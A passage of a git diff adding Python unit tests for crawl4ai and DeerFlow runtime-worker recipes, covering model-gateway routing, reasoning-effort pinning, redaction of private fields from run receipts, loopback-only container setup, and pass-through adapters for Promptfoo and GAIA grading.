models=['gpt-6-astra-max','sharedgw/gpt-6-astra-max'], correlations=['own-1','own-2']) + self.assertEqual(len(observed['rows']), 2) + self.assertEqual(observed['attribution'], 'entry gateway correlation + window + model + path') + self.assertNotIn('correlation_id', json.dumps(observed)) + self.assertNotIn('PRIVATE', json.dumps(observed)) + self.assertEqual(database.read_bytes(), before) + effort = receipt.effort_observation(observed['rows'], 'max') + self.assertTrue(effort['passed']) + self.assertEqual(effort['no_returned_reasoning_count'], 1) + observed['rows'][0]['reasoning_effort_requested'] = 'low' + self.assertFalse(receipt.effort_observation(observed['rows'], 'max')['passed']) + observed['rows'][0]['reasoning_effort_requested'] = None + self.assertFalse(receipt.effort_observation(observed['rows'], 'max')['passed']) + absent = receipt.gateway_rows(Path(directory)/'absent.sqlite','2026-09-27T12:00:00Z', + '2026-09-27T12:00:10Z',models=['gpt-6-astra-max']) + self.assertEqual(absent['status'],'unavailable') + self.assertFalse((Path(directory)/'absent.sqlite').exists()) + + def test_explicit_arms_route_and_effort_are_bound_together(self): + worker = module('crawl4ai_worker', 'worker.py') + config = json.loads((RECIPE / 'config/worker.json').read_text()) + schema = json.loads((RECIPE / 'e2e/schema.json').read_text()) + with patch.dict(os.environ, {}, clear=True): + self.assertEqual(worker.selected_arm(), 'control') + for arm, port, model in [('control', 20128, 'cx/gpt-6-astra-max'), + ('engines-on', 20129, 'sharedgw/gpt-6-astra-max')]: + route = worker.arm_settings(config, arm) + self.assertEqual(route['base_url'], f'http://127.0.0.1:{port}/v1') + self.assertEqual(route['container_base_url'], f'http://10.0.2.2:{port}/v1') + self.assertEqual(route['model'], model) + args = worker.extraction_args(config, arm, schema, 'session') + self.assertEqual(args['reasoning_effort'], 'max') + self.assertEqual(args['allowed_openai_params'], ['reasoning_effort']) + self.assertEqual(args['max_retries'], 0) + self.assertEqual(args['extra_headers'].get('x-omniroute-compression'), + 'allow-lossy' if arm == 'engines-on' else None) + for bad in ['sharedgw/cx/gpt-6-astra-max', 'sharedgw/gpt-6-sol', 'cx/claude-opus-5-5']: + with patch.dict(os.environ, {'CRAWL4AI_MODEL': bad}): + with self.assertRaises(ValueError): + worker.arm_settings(config, 'engines-on') + for bad in ['http://127.0.0.1:20128/v1', 'https://example.com/v1', + 'http://127.0.0.1:20129/v1?secret=x', 'http://user@127.0.0.1:20129/v1']: + with patch.dict(os.environ, {'CRAWL4AI_BASE_URL': bad}): + with self.assertRaises(ValueError): + worker.arm_settings(config, 'engines-on') + with patch.dict(os.environ, {'CRAWL4AI_ARM': 'engines-on'}, clear=True): + self.assertEqual(worker.selected_arm(), 'engines-on') + + def test_recipe_is_reviewable_and_pinned(self): + for name in ("README.md", "install.sh", "run-e2e.sh", "e2e/check.py", + "e2e/receipt.py", "config/worker.json", "pins.json", + "requirements.lock", "research.md"): + self.assertTrue((RECIPE / name).is_file(), name) + pins = json.loads((RECIPE / "pins.json").read_text()) + self.assertEqual(pins["version"], "0.9.4") + self.assertEqual(pins['grader']['version'], '0.123.1') + self.assertEqual(pins['grader']['repository'], 'https://github.com/promptfoo/promptfoo') + installer = (RECIPE / 'install.sh').read_text() + self.assertIn('--prefix "$NAS_CRAWL4AI_PREFIX/grader"', installer) + self.assertIn('grader/package-lock.json', installer) + self.assertRegex(pins["commit"], r"^[0-9a-f]{40}$") + self.assertRegex(pins["image"], r"^unclecode/crawl4ai@sha256:[0-9a-f]{64}$") + self.assertIn(pins["image"], (RECIPE / "config/compose.yaml").read_text()) + self.assertEqual(hashlib.sha256((RECIPE / "requirements.lock").read_bytes()).hexdigest(), pins["requirements_lock_sha256"]) + + def test_gateway_model_is_configurable_and_has_no_sampling_default(self): + config = json.loads((RECIPE / "config/worker.json").read_text()) + self.assertEqual(config["arms"]["control"]["base_url"], "http://127.0.0.1:20128/v1") + self.assertEqual(config["arms"]["control"]["container_base_url"], "http://10.0.2.2:20128/v1") + self.assertEqual(config["arms"]["control"]["model"], "cx/gpt-6-astra-max") + self.assertEqual(config["arms"]["control"]["model_env"], "CRAWL4AI_MODEL") + self.assertEqual(config["llm"]["api_token"], "local-loopback") + self.assertEqual(config["arms"]["comparison"]["model"], "cx/gpt-6-sol") + self.assertEqual(config["arms"]["comparison"]["expected_effort"], "medium") + source = (RECIPE / "worker.py").read_text() + self.assertNotIn('"cx/gpt-6-astra-max"', source) + self.assertNotIn('"temperature": 0', source) + self.assertIn('"temperature": None', source) + self.assertIn("x-omniroute-session", source) + self.assertIn("Idempotency-Key", source) + self.assertIn("fit_markdown", source) + + def test_structured_requests_close_schemas_and_bind_logical_calls(self): + worker = module('crawl4ai_worker', 'worker.py') + config = json.loads((RECIPE / 'config/worker.json').read_text()) + schema = json.loads((RECIPE / 'e2e/schema.json').read_text()) + first = worker.extraction_args(config, 'primary', schema, 'conversation-a') + second = worker.extraction_args(config, 'primary', schema, 'conversation-a') + third = worker.extraction_args(config, 'comparison', schema, 'conversation-b') + for args in (first, second, third): + self.assertEqual(args['response_format']['type'], 'json_schema') + response = args['response_format']['json_schema'] + self.assertIs(response['strict'], True) + self.assertEqual(response['schema'], schema) + self.assertTrue(args.get('temperature') is None or args['temperature'] > 0.1) + def closed(value): + if isinstance(value, dict): + if value.get('type') == 'object': + self.assertIs(value.get('additionalProperties'), False) + self.assertEqual(set(value['required']), set(value['properties'])) + for child in value.values(): + closed(child) + elif isinstance(value, list): + for child in value: + closed(child) + closed(schema) + headers = [args['extra_headers'] for args in (first, second, third)] + self.assertEqual([h['x-omniroute-session'] for h in headers], + ['conversation-a', 'conversation-a', 'conversation-b']) + self.assertEqual(len({h['Idempotency-Key'] for h in headers}), 3) + self.assertEqual(third['reasoning_effort'], 'medium') + + def test_gateway_refuses_non_gpt6_model_overrides(self): + worker = module('crawl4ai_worker', 'worker.py') + config = json.loads((RECIPE / 'config/worker.json').read_text()) + for arm, key in (('primary', 'CRAWL4AI_MODEL'), ('comparison', 'CRAWL4AI_COMPARISON_MODEL')): + for model in ('claude-opus-5-5', 'cx/claude-opus-5-5', 'cx/gpt-5', ''): + with patch.dict(os.environ, {key: model}): + with self.assertRaises(ValueError): + worker.model_for(config, arm) + + def test_private_host_ports_refuse_other_lanes(self): + host = module('crawl4ai_host', 'host.py') + data = json.loads((RECIPE / 'config/host.example.json').read_text()) + data = {k: v.replace('${HOME}', '/tmp/worker') if isinstance(v, str) else v for k, v in data.items()} + with tempfile.TemporaryDirectory() as directory: + path = Path(directory) / 'host.json' + path.touch(mode=0o600) + # This mandated test scratch directory itself has a Git ancestor; + # exercise the real port parser with only location policy substituted. + with patch.object(host, 'locations', return_value=(Path(directory), Path(directory))), \ + patch.object(host, 'outside_repository'): + for port in (3730, 3799): + data['api_port'] = port + path.write_text(json.dumps(data)) + self.assertEqual(host.load_host()['api_port'], port) + for port in (3710, 3729, 3800, 3819, 5433, 5439, 3731): + data['api_port'] = port + path.write_text(json.dumps(data)) + with self.assertRaises(ValueError): + host.load_host() + + def test_docker_objects_have_owned_names_and_labels(self): + compose = (RECIPE / 'config/compose.yaml').read_text() + owner = 'com.native-agent-stack.owner: gpt6-omniroute-framework-integration' + self.assertIn('container_name: rw-crawl4ai-', compose) + self.assertIn('name: rw-crawl4ai-${NAS_CRAWL4AI_STORE', compose) + self.assertEqual(compose.count(owner), 2) # container + network; bind mounts only + lifecycle = (RECIPE / 'container.sh').read_text() + self.assertNotIn('nas-crawl4ai', lifecycle) + self.assertNotIn('prune', lifecycle) + self.assertIn('container rm --force "$NAS_CRAWL4AI_CONTAINER"', lifecycle) + self.assertIn('network rm "$NAS_CRAWL4AI_NETWORK"', lifecycle) + + def test_skills_documentation_uses_coordinator_install_lifecycle(self): + readme = (RECIPE / 'README.md').read_text() + self.assertIn('tools/adoption/install_skills.py', readme) + self.assertIn('--manifest blueprints/runtime-workers/skills/manifest.json', readme) + self.assertIn('--project-dir "$NAS_CRAWL4AI_WORKSPACE" --agent universal', readme) + self.assertIn('pending the skills PR', readme) + self.assertIn('skill-load', readme) + + def test_mcp_limits_are_explicit_and_not_claimed_as_loaded(self): + policy = json.loads((RECIPE / "config/mcp-policy.json").read_text()) + self.assertEqual(policy["loaded_servers"], []) + self.assertEqual(policy["role"], "mcp-server") + limits = policy["consumer_limits"] + self.assertEqual(set(limits["context-mode"]["disabled_tools"]), {"ctx_upgrade", "ctx_purge"}) + self.assertEqual(set(limits["ai-memory"]["enabled_tools"]), { + "memory_query", "memory_read_page", "memory_recent", "memory_status", "memory_briefing"}) + self.assertEqual(set(limits["socraticode"]["enabled_tools"]), { + "codebase_search", "codebase_status", "codebase_list_projects", "codebase_health"}) + self.assertEqual(limits["socraticode"]["env"]["SOCRATICODE_WATCHER"], "manual") + self.assertEqual(set(limits["headroom"]["enabled_tools"]), { + "headroom_compress", "headroom_retrieve", "headroom_stats"}) + self.assertEqual(set(limits["qmd"]["collections"]), { + "foundation-docs", "foundation-adoption", "us-equities-foundation", "us-equities-catalog"}) + + def test_install_is_scoped_hash_checked_and_loopback_only(self): + source = (RECIPE / "install.sh").read_text() + self.assertIn("set -euo pipefail", source) + self.assertIn("--require-hashes", source) + self.assertIn("--only-binary", source) + self.assertNotIn("--with-deps", source) + self.assertNotRegex(source, r"\bsudo\b") + for name in ("install.sh", "run-e2e.sh", "config/compose.yaml", "container.sh"): + text = (RECIPE / name).read_text() + self.assertNotIn("0.0.0.0", text, name) + compose = (RECIPE / "config/compose.yaml").read_text() + self.assertIn("127.0.0.1:", compose) + self.assertIn("/run/secrets/api_token", compose) + self.assertNotRegex(compose, r"(?im)^\s*(api_token|SECRET_KEY):\s*[A-Za-z0-9]{10}") + + def test_adapter_transports_correct_wrong_and_malformed_outputs_unchanged(self): + check = RECIPE / "e2e/check.py" + correct = (RECIPE / "e2e/expected.json").read_text() + wrong = correct.replace('24.90', '999.00') + with tempfile.TemporaryDirectory() as directory: + result = Path(directory) / "result.json" + for payload in (correct, wrong, '{"records": [BROKEN', ''): + result.write_text(payload) + run = subprocess.run([sys.executable, str(check), str(result)], capture_output=True, text=True) + self.assertEqual(run.returncode, 0, run.stdout + run.stderr) + self.assertEqual(json.loads(run.stdout), [payload]) + result.unlink() + run = subprocess.run([sys.executable, str(check), str(result)], capture_output=True, text=True) + self.assertNotEqual(run.returncode, 0) + self.assertEqual(run.stdout, '') + + def test_three_frozen_pages_and_both_arms(self): + self.assertEqual(len(list((RECIPE / "e2e/fixtures").glob("*.html"))), 3) + config = json.loads((RECIPE / "config/worker.json").read_text()) + self.assertEqual(config["e2e"]["arms"], ["control", "engines-on"]) + source = (RECIPE / "e2e/run.py").read_text() + self.assertIn('config["e2e"]["arms"]', source) + self.assertIn("receipt", source) + + def test_receipt_uses_only_allowed_rows_and_never_exports_private_fields(self): + executable = shutil.which('promptfoo') + if executable is None: + self.skipTest('Promptfoo 0.123.1 required for real grader receipt input') + grader = module('crawl4ai_grader', 'e2e/grade.py') + with tempfile.TemporaryDirectory() as directory: + work = Path(directory) + grader.run_controls(work / 'controls', executable) + database = work / "gateway.sqlite" + with closing(sqlite3.connect(database)) as connection, connection: + connection.execute("""CREATE TABLE call_logs ( + timestamp TEXT, path TEXT, status INTEGER, model TEXT, + reasoning_effort_requested TEXT, reasoning_effort_upstream TEXT, + tokens_in INTEGER, tokens_cache_read INTEGER, tokens_reasoning INTEGER, + prompt TEXT, correlation_id TEXT, email TEXT)""") + for second, model, effort in ( + (3, "cx/gpt-6-astra-max", "max"), (5, "cx/gpt-6-astra-max", "max"), (7, "cx/gpt-6-astra-max", "max"), + (23, "sharedgw/gpt-6-astra-max", "max"), (25, "sharedgw/gpt-6-astra-max", "max"), (27, "sharedgw/gpt-6-astra-max", "max"), + ): + connection.execute("INSERT INTO call_logs VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", ( + f"2026-09-27T12:00:{second:02d}+00:00", "/v1/chat/completions", 200, model, + effort, effort, 120, None, 15, + "PRIVATE_PROMPT", "PRIVATE_ID", "PRIVATE_EMAIL")) + before = hashlib.sha256(database.read_bytes()).hexdigest() + for arm in ("control", "engines-on"): + (work / arm).mkdir() + (work / arm / "result.json").write_text((RECIPE / "e2e/expected.json").read_text()) + (work / arm / "native.log").write_text("PRIVATE_PATH PRIVATE_EMAIL PRIVATE_ID") + grader.grade(work / arm, executable) + (work / "container.log").write_text( + "INFO Processing request of type CallToolRequest\nPOST /md HTTP/1.1 200\nPRIVATE_ID") + info = { + "framework_version": "0.9.4", "cleanup_passed": True, "compression": {"before": {"totalRequests": 2, "totalTokensSaved": 10}, "after": {"totalRequests": 5, "totalTokensSaved": 40}}, + "probes": {key: True for key in ("auth_/mcp/sse", "auth_/mcp/ws", "auth_/crawl", "api_fit", "sse", "websocket")}, + "arms": { + "control": {"model": "cx/gpt-6-astra-max", "start": "2026-09-27T12:00:00+00:00", "end": "2026-09-27T12:00:10+00:00"}, + "engines-on": {"model": "sharedgw/gpt-6-astra-max", "start": "2026-09-27T12:00:20+00:00", "end": "2026-09-27T12:00:30+00:00"}, + }, + } + (work / "run.json").write_text(json.dumps(info)) + output = work / "receipt.json" + command = [sys.executable, str(RECIPE / "e2e/receipt.py"), "--run-dir", str(work), + "--db", str(database), "--engines-db", str(database), "--output", str(output)] + result = subprocess.run(command, capture_output=True, text=True) + self.assertEqual(result.returncode, 0, result.stderr) + receipt = json.loads(output.read_text()) + self.assertTrue(receipt["passed"]) + self.assertEqual(receipt["mcp_observation"]["tool_names_inferred_from_routes"], []) + self.assertEqual(receipt["compression"]["delta"], {"totalRequests": 3, "totalTokensSaved": 30}) + self.assertEqual([a["gateway_port"] for a in receipt["arms"]], [20128, 20129]) + self.assertTrue(all(a['grader']['passed'] for a in receipt['arms'])) + self.assertTrue(receipt['grader_controls_passed']) + self.assertEqual(before, hashlib.sha256(database.read_bytes()).hexdigest()) + for marker in ("PRIVATE_", str(work), '"prompt":', '"request_id":', '"email":'): + # Human-readable sanitization text may name emails, but no DB fields escape. + self.assertNotIn(marker, json.dumps(receipt["arms"])) + allowed = {"timestamp", "path", "status", "model", "reasoning_effort_requested", + "reasoning_effort_upstream", "tokens_in", "tokens_cache_read", "tokens_reasoning"} + for arm in receipt["arms"]: + self.assertEqual(len(arm["gateway"]["rows"]), 3) + self.assertEqual(set(arm["gateway"]["rows"][0]), allowed) + self.assertIsNone(arm["gateway"]["rows"][0]["tokens_cache_read"]) + # Fail closed if either model's own deterministic result is empty. + (work / "engines-on/result.json").write_text('{"records": []}') + result = subprocess.run(command, capture_output=True, text=True) + self.assertEqual(result.returncode, 4, result.stderr) + self.assertFalse(json.loads(output.read_text())["passed"]) + (work / "engines-on/result.json").write_text((RECIPE / "e2e/expected.json").read_text()) + native_log_text = (work / "container.log").read_text() + (work / "container.log").unlink() + result = subprocess.run(command, capture_output=True, text=True) + self.assertEqual(result.returncode, 4, result.stderr) + missing_log_receipt = json.loads(output.read_text()) + self.assertEqual(missing_log_receipt["mcp_observation"]["native_call_tool_request_count"], 0) + self.assertTrue(all(a["grader"]["passed"] and a["routing_observed_in_window"] for a in missing_log_receipt["arms"])) + (work / "container.log").write_text(native_log_text) + # Every page must have the requested upstream effort, not merely one. + with closing(sqlite3.connect(database)) as connection, connection: + connection.execute("UPDATE call_logs SET reasoning_effort_upstream='low' WHERE timestamp='2026-09-27T12:00:25+00:00'") + result = subprocess.run(command, capture_output=True, text=True) + self.assertEqual(result.returncode, 4, result.stderr) + wrong_effort = json.loads(output.read_text()) + self.assertFalse(wrong_effort["passed"]) + self.assertTrue(all(a["grader"]["passed"] for a in wrong_effort["arms"])) + self.assertFalse(wrong_effort["arms"][1]["routing_observed_in_window"]) + + def test_receipt_cannot_certify_absent_db_or_missing_native_mcp_logs(self): + with tempfile.TemporaryDirectory() as directory: + work = Path(directory) + arms = {} + for arm, model in (("control", "cx/gpt-6-astra-max"), ("engines-on", "sharedgw/gpt-6-astra-max")): + (work / arm).mkdir() + (work / arm / "result.json").write_text((RECIPE / "e2e/expected.json").read_text()) + arms[arm] = {"model": model, "start": "2026-09-27T12:00:00+00:00", "end": "2026-09-27T12:01:00+00:00"} + (work / "container.log").write_text("Processing request of type CallToolRequest\nPOST /md HTTP/1.1 200\n") + probes = {key: True for key in ("auth_/mcp/sse", "auth_/mcp/ws", "auth_/crawl", "api_fit", "sse", "websocket")} + (work / "run.json").write_text(json.dumps({"framework_version": "0.9.4", "arms": arms, "cleanup_passed": True, "probes": probes})) + output = work / "receipt.json" + result = subprocess.run([sys.executable, str(RECIPE / "e2e/receipt.py"), "--run-dir", str(work), + "--db", str(work / "absent.sqlite"), "--engines-db", str(work / "absent.sqlite"), "--output", str(output)], capture_output=True, text=True) + self.assertEqual(result.returncode, 4, result.stderr) + self.assertFalse(json.loads(output.read_text())["passed"]) + self.assertTrue(all(a["gateway"]["status"] == "unavailable" for a in json.loads(output.read_text())["arms"])) + self.assertFalse((work / "absent.sqlite").exists()) + + def test_upstream_grader_controls_and_type_strictness(self): + """Real unchanged Promptfoo assertions, with local synthetic controls.""" + executable = shutil.which("promptfoo") + if executable is None: + self.skipTest("Promptfoo 0.123.1 unavailable; upstream controls NOT RUN") + spec = importlib.util.spec_from_file_location("crawl4ai_grader", RECIPE / "e2e/grade.py") + grader = importlib.util.module_from_spec(spec) + spec.loader.exec_module(grader) + with tempfile.TemporaryDirectory() as directory: + work = Path(directory) + controls = grader.run_controls(work, executable) + self.assertEqual({name: info['exit_code'] for name, info in controls.items()}, + {'known-pass': 0, 'known-fail': 100, 'malformed-output': 100}) + for name, passed in (('known-pass', True), ('known-fail', False), ('malformed-output', False)): + report = json.loads((work / name / 'promptfoo.json').read_text()) + self.assertEqual(report['results']['results'][0]['success'], passed) + self.assertEqual(grader.observation(work / name, controls[name])['passed'], passed) + positive = work / 'known-pass' + report_path = positive / 'promptfoo.json' + saved = report_path.read_text() + report_path.write_text('{}') + self.assertFalse(grader.observation(positive, controls['known-pass'])['passed']) + report_path.write_text(saved) + (positive / 'result.json').write_text('{"records": []}') + self.assertFalse(grader.observation(positive, controls['known-pass'])['passed']) + payload = json.loads((RECIPE / 'e2e/expected.json').read_text()) + payload['records'][0]['in_stock'] = 1 + (work / 'result.json').write_text(json.dumps(payload)) + info = grader.grade(work, executable) + self.assertEqual(info['exit_code'], 100) + self.assertFalse(grader.observation(work, info)['passed']) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_runtime_worker_deerflow.py b/tests/test_runtime_worker_deerflow.py new file mode 100644 index 000000000..54bb6b530 --- /dev/null +++ b/tests/test_runtime_worker_deerflow.py @@ -0,0 +1,991 @@ +"""Offline integration contracts, not DeerFlow or provider acceptance. + +Seams were specified by the 2026-09-27 Round-2 builder request: recipe/config, +MCP restrictions, artifact pins, native trace transport and upstream grading. +Reference: bytedance/deer-flow v2.1.0 config.example.yaml and +extensions_config.example.json; repository tests/test_install_skills.py for +the stdlib subprocess test pattern. External clients use test doubles; the real +upstream scorer control is skipped if unavailable. No installation or network. +""" + +import json +import copy +import asyncio +import importlib.util +from contextlib import closing +import sqlite3 +import tomllib +import subprocess +import sys +import tempfile +import unittest +import types +from unittest.mock import patch +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[1] +RECIPE = ROOT / "blueprints/runtime-workers/deerflow" + +# install_grader creates its venv from sys.executable and refuses any interpreter but the lock's CPython 3.13; +# the grader tests stand in that interpreter through the recipe module's own sys name, never the global one. +LOCK_TARGET_PYTHON = types.SimpleNamespace(executable=sys.executable, version_info=(3, 13, 0, "final", 0)) + + +def module(name, path): + spec = importlib.util.spec_from_file_location(name, path) + result = importlib.util.module_from_spec(spec) + with patch.dict(sys.modules), patch.object(sys, "path", [str(path.parent), *sys.path]): + for key, value in list(sys.modules.items()): + location = getattr(value, "__file__", None) + if location and Path(location).is_relative_to(ROOT / "blueprints/runtime-workers") \ + and not Path(location).is_relative_to(RECIPE): + del sys.modules[key] + spec.loader.exec_module(result) + return result + + +class DeerFlowRecipeTests(unittest.TestCase): + def test_owned_compose_resources_and_loopback_ports(self): + compose = json.loads((RECIPE / "compose.json.template").read_text()) + owner = {"com.native-agent-stack.owner": "gpt6-omniroute-framework-integration"} + self.assertEqual(compose["name"], "rw-deerflow") + for name, service in compose["services"].items(): + self.assertEqual(service["container_name"], "rw-deerflow-" + name) + self.assertEqual(service["labels"], owner) + for published in service.get("ports", []): + host, port, _ = published.split(":") + self.assertEqual(host, "127.0.0.1") + self.assertIn(int(port), range(3730, 3800)) + for kind in ("networks", "volumes"): + for resource in compose.get(kind, {}).values(): + self.assertTrue(resource["name"].startswith("rw-deerflow-")) + self.assertEqual(resource["labels"], owner) + self.assertIn("default", compose["networks"]) + + def test_literal_cleanup_continues_after_already_absent_resource(self): + renderer = module("deerflow_cleanup", RECIPE / "recipe.py") + calls = [] + def docker(settings, *args, **kwargs): + calls.append(args) + if args[-1] in {"rw-deerflow-nginx", "rw-deerflow-network"}: + raise subprocess.CalledProcessError(1, args, stderr="Error: No such container or network") + return subprocess.CompletedProcess(args, 0, "", "") + with patch.object(renderer, "read", return_value={}), patch.object(renderer, "require_rootless"), \ + patch.object(renderer, "docker", docker): + renderer.lifecycle("down") + self.assertEqual([c[-1] for c in calls], ["rw-deerflow-nginx", "rw-deerflow-frontend", "rw-deerflow-gateway", "rw-deerflow-redis", "rw-deerflow-egress", "rw-deerflow-network", "rw-deerflow-egress-network"]) + + def test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped(self): + renderer = module("deerflow_recipe", RECIPE / "recipe.py") + collections = {n: {"path": "/catalog/" + n, "pattern": "**/*.md"} for n in ( + "foundation-docs", "foundation-adoption", "us-equities-foundation", "us-equities-catalog")} + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + db = root / "source.sqlite" + with closing(sqlite3.connect(db)) as conn, conn: + conn.execute("CREATE TABLE documents (collection TEXT)") + conn.executemany("INSERT INTO documents VALUES (?)", [(n,) for n in collections]) + settings = {"variables": {"ECO_ROOT": "/opt/adopted", "HOST_PATH": "/usr/bin", "QDRANT_URL": "10.0.2.2:16333", "EMBED_URL": "10.0.2.2:18232"}, + "mcp_mounts": [], "session_namespace": "offline-fixture", + "qmd_snapshot": {"database": str(db), "collections": collections}} + state, prefix = root / "state", root / "prefix" + before = db.read_bytes() + renderer.seed_qmd(settings, state) + self.assertEqual(db.read_bytes(), before) + target = state / "qmd-seed/cache/qmd/native-agent-stack-catalog.sqlite" + self.assertTrue(target.is_file()) + self.assertEqual(target.stat().st_mode & 0o777, 0o600) + compose = renderer.render(settings, prefix, state) + config = json.loads((state / "config/config.yaml").read_text()) + self.assertEqual(config["models"][0]["base_url"], "$DEERFLOW_BASE_URL") + self.assertEqual(compose["services"]["gateway"]["environment"]["DEERFLOW_MODEL"], "cx/gpt-6-astra-max") + settings["model"] = "cx/gpt-6-sol-max" + compose = renderer.render(settings, prefix, state) + self.assertEqual(compose["services"]["gateway"]["environment"]["DEERFLOW_MODEL"], "cx/gpt-6-sol-max") + ext = json.loads((state / "config/extensions_config.json").read_text()) + self.assertEqual(ext["mcpServers"]["qmd"]["env"]["XDG_CACHE_HOME"], "/state/mcp/qmd/cache") + with closing(sqlite3.connect(db)) as conn, conn: + conn.execute("INSERT INTO documents VALUES ('unrelated-private-collection')") + with self.assertRaises(ValueError): + renderer.seed_qmd(settings, root / "other-state") + + def test_mcp_launches_preserve_the_adoption_commands(self): + ext = json.loads((RECIPE / "extensions_config.json.template").read_text())["mcpServers"] + common = tomllib.loads((ROOT / "adoption/templates/codex.config.template.toml").read_text())["mcp_servers"] + project = tomllib.loads((ROOT / "adoption/templates/project.codex.config.template.toml").read_text())["mcp_servers"] + stack = json.loads((ROOT / "manifests/stack.json").read_text())["components"] + socraticode_version = next(item["version"] for item in stack if item["id"] == "socraticode") + for name in ("context-mode", "serena", "socraticode", "qmd", "jcodemunch"): + native = project[name] if name == "jcodemunch" else common[name] + expected = [native["command"], *native.get("args", [])] + expected = [value.replace("${SOCRATICODE_VERSION}", socraticode_version) for value in expected] + if name == "serena": + expected[expected.index("--enable-web-dashboard") + 1] = "false" + self.assertEqual(ext[name]["args"], expected, name) + self.assertEqual(ext[name]["command"], "/runtime/stdio.sh") + + def test_adapter_preserves_known_pass_and_fail_without_a_local_verdict(self): + adapter = module("deerflow_transport", RECIPE / "e2e/check.py") + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "framework-events.jsonl" + # Upstream tests/gaia/test_scorer.py: 42/42 passes, 99/42 fails. + # Transport accepts both; only the real upstream scorer judges them. + for answer in ("42", "99"): + records = [ + {"type": "values", "data": {"messages": [ + {"type": "ai", "content": "earlier draft"}]}}, + {"type": "messages-tuple", "data": {"type": "ai", "content": answer}}, + {"type": "values", "data": {"messages": [ + {"type": "ai", "content": answer}]}}, + {"type": "end", "data": {"usage": {}}}, + ] + path.write_text("\n".join(json.dumps(x) for x in records)) + self.assertEqual(adapter.read_completion(path), answer) + + def test_adapter_rejects_missing_malformed_and_unfinished_output(self): + adapter = module("deerflow_transport_bad", RECIPE / "e2e/check.py") + valid = {"type": "values", "data": {"messages": [{"type": "ai", "content": "42"}]}} + end = {"type": "end", "data": {"usage": {}}} + bad_records = [[], [valid], [end], [valid, end, end], + [valid, {"type": "error", "data": {}}, end], + [{"type": "values", "data": {"messages": [{"type": "ai", "content": {"answer": 42}}]}}, end], + [{"type": "values", "data": {"messages": [{"type": "ai", "content": "", "tool_calls": [{"name": "task"}]}]}}, end], + [valid, {"type": "values", "data": {"messages": [{"type": "tool", "content": "42"}]}}, end]] + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "framework-events.jsonl" + with self.assertRaises((ValueError, OSError)): + adapter.read_completion(path) + for records in bad_records: + with self.subTest(records=records): + path.write_text("\n".join(json.dumps(x) for x in records)) + with self.assertRaises(ValueError): + adapter.read_completion(path) + for malformed in ("not-json", "null", "[]", '42'): + path.write_text(malformed) + with self.assertRaises(ValueError): + adapter.read_completion(path) + + def test_inspect_solver_transports_only_input_and_preserves_upstream_task(self): + native_task = types.SimpleNamespace(dataset=[types.SimpleNamespace(id="frozen", files={})], + sandbox="docker", scorer=object()) + original_scorer = native_task.scorer + calls = [] + + def gaia(**kwargs): + calls.append(kwargs) + return native_task + + def output(model, content): + return types.SimpleNamespace(model=model, completion=content) + + class InputState: + input_text = "upstream question and format instructions" + sample_id = "frozen" + epoch = 1 + metadata = {} + + @property + def target(self): + raise AssertionError("transport must never read the answer target") + + with patch.dict(sys.modules, { + "inspect_ai": types.SimpleNamespace(task=lambda f: f), + "inspect_ai.model": types.SimpleNamespace(ModelOutput=types.SimpleNamespace(from_content=output)), + "inspect_ai.solver": types.SimpleNamespace(solver=lambda f: f), + "inspect_evals.gaia": types.SimpleNamespace(gaia=gaia), + "run": types.SimpleNamespace(run_worker=lambda *a: {"completion": "99", "model": "cx/gpt-6-astra-max", "receipt": {}}), + }): + adapter = module("deerflow_gaia", RECIPE / "e2e/gaia.py") + task = adapter.deerflow_gaia(instance_ids="frozen") + self.assertIs(task.scorer, original_scorer) + self.assertIsNone(task.sandbox) + self.assertEqual(calls[0]["instance_ids"], ["frozen"]) + self.assertEqual(calls[0]["split"], "validation") + async def inline_thread(function, *args): + # Offline sandbox cannot wake asyncio's executor shutdown pipe. + # Transport is already doubled; avoid creating an OS worker here. + return function(*args) + + with patch.object(adapter, "run_worker", return_value={"completion": "99", "model": "cx/gpt-6-astra-max", "receipt": {}}) as transport: + with patch.object(adapter.asyncio, "to_thread", inline_thread): + state = asyncio.run(adapter.deerflow()(InputState(), None)) + transport.assert_called_once_with(InputState.input_text, "frozen", 1) + self.assertEqual(state.output.completion, "99") + self.assertTrue(state.completed) + for ids in ("", "unknown", ["frozen", "frozen"]): + with self.assertRaises(ValueError): + adapter.deerflow_gaia(instance_ids=ids) + native_task.dataset[0].files = {"/shared_files/asset.pdf": "/private/asset.pdf"} + with self.assertRaises(ValueError): + adapter.deerflow_gaia(instance_ids="frozen") + + def test_transport_runs_owned_container_and_retains_failed_attempts(self): + runner = module("deerflow_run", RECIPE / "e2e/run.py") + with tempfile.TemporaryDirectory() as tmp: + state, prefix = Path(tmp) / "state", Path(tmp) / "prefix" + state.mkdir() + prefix.mkdir() + (prefix / "pins.json").write_text((RECIPE / "pins.json").read_text()) + (state / "host.json").write_text(json.dumps({"docker_bin": "docker"})) + (state / "compose.json").write_text(json.dumps({"services": {"gateway": { + "environment": {}, "volumes": [{"target": "/work", "source": "placeholder"}], + }}})) + invocations = [] + exit_code = 0 + malformed = False + + def native(command, **kwargs): + invocations.append(command) + if "compose" in command and "run" in command: + if malformed: + kwargs["stdout"].write('{"type":"worker-version","data":null}\n') + return subprocess.CompletedProcess(command, 0) + kwargs["stdout"].write(json.dumps({"type": "values", "data": {"messages": [{"type": "ai", "content": "99"}]}}) + "\n") + kwargs["stdout"].write(json.dumps({"type": "end", "data": {}}) + "\n") + return subprocess.CompletedProcess(command, exit_code) + return subprocess.CompletedProcess(command, 0, "", "") + + with patch.object(runner, "STATE", state), patch.object(runner, "PREFIX", prefix), \ + patch.object(runner, "require_rootless"), patch.object(runner.subprocess, "run", native), \ + patch.object(runner, "compression_snapshot", return_value={"state":"not_applicable"}), \ + patch.object(runner.Path, "home", return_value=Path(tmp)): + result = runner.run_worker("unchanged question", "frozen", 1) + self.assertEqual(result["completion"], "99") + self.assertNotIn("passed", result) + self.assertTrue(result["receipt"]["transport"]["ok"]) + self.assertIsNone(result["receipt"]["grader"]["verdict"]) + launch = next(c for c in invocations if "compose" in c and "run" in c) + self.assertTrue(launch[launch.index("--name") + 1].startswith("rw-deerflow-")) + self.assertEqual(launch[launch.index("--label") + 1], "com.native-agent-stack.owner=gpt6-omniroute-framework-integration") + self.assertIn("down", 